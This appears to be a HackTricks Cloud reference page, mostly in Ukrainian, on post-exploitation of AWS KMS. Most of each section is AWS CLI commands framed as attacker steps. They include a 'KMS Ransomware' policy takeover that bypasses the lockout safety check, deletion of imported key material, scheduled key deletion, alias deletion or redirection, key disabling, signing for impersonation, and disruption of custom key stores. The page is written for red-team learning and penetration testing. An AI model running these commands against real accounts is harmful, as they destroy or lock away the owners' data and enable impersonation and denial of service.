AWS - KMS Post Exploitation
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
KMS
Для додаткової інформації див.:
Encrypt/Decrypt information
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:Читає файл у двійковому режимі, зазвичай використовується для нетекстових файлів.file://:Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, що не має спеціальних вимог кодування.
tip
Зверніть увагу, якщо ви хочете розшифрувати дані у файлі, файл має містити двійкові дані, а не base64-кодовані дані. (fileb://)
- Using a symmetric key
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Використання асиметричного ключа:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Зловмисник із привілеями в KMS може змінити KMS policy ключів і надати своєму обліковому запису доступ до них, видаливши доступ, наданий легітимному обліковому запису.
Внаслідок цього користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створивши простий, але ефективний ransomware проти облікового запису.
warning
Зверніть увагу, що AWS managed keys aren't affected цією атакою — уражаються лише Customer managed keys.
Також зауважте, що потрібно використовувати параметр
--bypass-policy-lockout-safety-check(відсутність цієї опції в web console робить цю атаку можливою лише через CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
caution
Зверніть увагу, що якщо ви зміните цю політику й дасте доступ лише зовнішньому акаунту, а потім із цього зовнішнього акаунта спробуєте встановити нову політику, щоб повернути доступ до початкового акаунту, ви не зможете, оскільки дію Put Polocy неможливо виконати з cross account.
.png)
Generic KMS Ransomware
Існує інший спосіб реалізації глобального KMS Ransomware, який включає такі кроки:
- Створити новий ключ із матеріалом ключа, імпортованим атакуючим
- Перешифрувати старі дані жертви, зашифровані попередньою версією, новою
- Видалити KMS key
- Тепер лише атакуючий, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
Видалення ключів через kms:DeleteImportedKeyMaterial
Маючи дозвіл kms:DeleteImportedKeyMaterial, діяч може видалити імпортований матеріал ключа з CMKs з Origin=EXTERNAL (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною та незворотною, якщо сумісний матеріал не буде повторно імпортовано, дозволяючи атакуючому фактично спричинити ransomware-like втрату даних, зробивши зашифровану інформацію постійно недоступною.
aws kms delete-imported-key-material --key-id <Key_ID>
Знищення ключів
Знищення ключів може спричинити DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
caution
Зауважте, що AWS тепер запобігає виконанню попередніх дій з іншого акаунту:
Змінити або видалити Alias
Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключа і спричиняючи негайні збої в сервісах, які покладаються на ці aliases, що призводить до відмови в обслуговуванні. Маючи дозволи на зразок kms:DeleteAlias або kms:UpdateAlias, зловмисник може видалити або перенаправити aliases і порушити криптографічні операції (наприклад, encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може перестати працювати, поки alias не буде відновлено або правильно повторно зіставлено.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
Маючи дозволи на кшталт kms:CancelKeyDeletion та kms:EnableKey, зловмисник може скасувати заплановане видалення AWS KMS customer master key і згодом знову його увімкнути. Це відновлює ключ (спочатку у Disabled стані) та повертає можливість розшифровувати раніше захищені дані, що дозволяє exfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Вимкнення ключа
Маючи дозвіл kms:DisableKey, зловмисник може вимкнути AWS KMS customer master key, перешкоджаючи його використанню для encryption або decryption. Це порушує доступ для будь-яких сервісів, що залежать від цього CMK, і може спричинити негайні перебої або denial-of-service, доки ключ не буде знову увімкнено.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
Маючи дозвіл kms:DeriveSharedSecret, актор може використати приватний ключ, що зберігається в KMS, разом із наданим користувачем публічним ключем для обчислення спільної таємниці ECDH.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Імперсонація через kms:Sign
Маючи дозвіл kms:Sign, зловмисник може використати збережений у KMS CMK для криптографічного підпису даних без розкриття приватного ключа, створюючи дійсні підписи, що можуть дозволити імперсонацію або авторизувати шкідливі дії.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
Маючи дозволи на кшталт kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore або kms:UpdateCustomKeyStore, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), зробивши його основні ключі непрацездатними. Це порушує операції шифрування, дешифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Отже, критично важливо обмежувати та моніторити ці дозволи.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud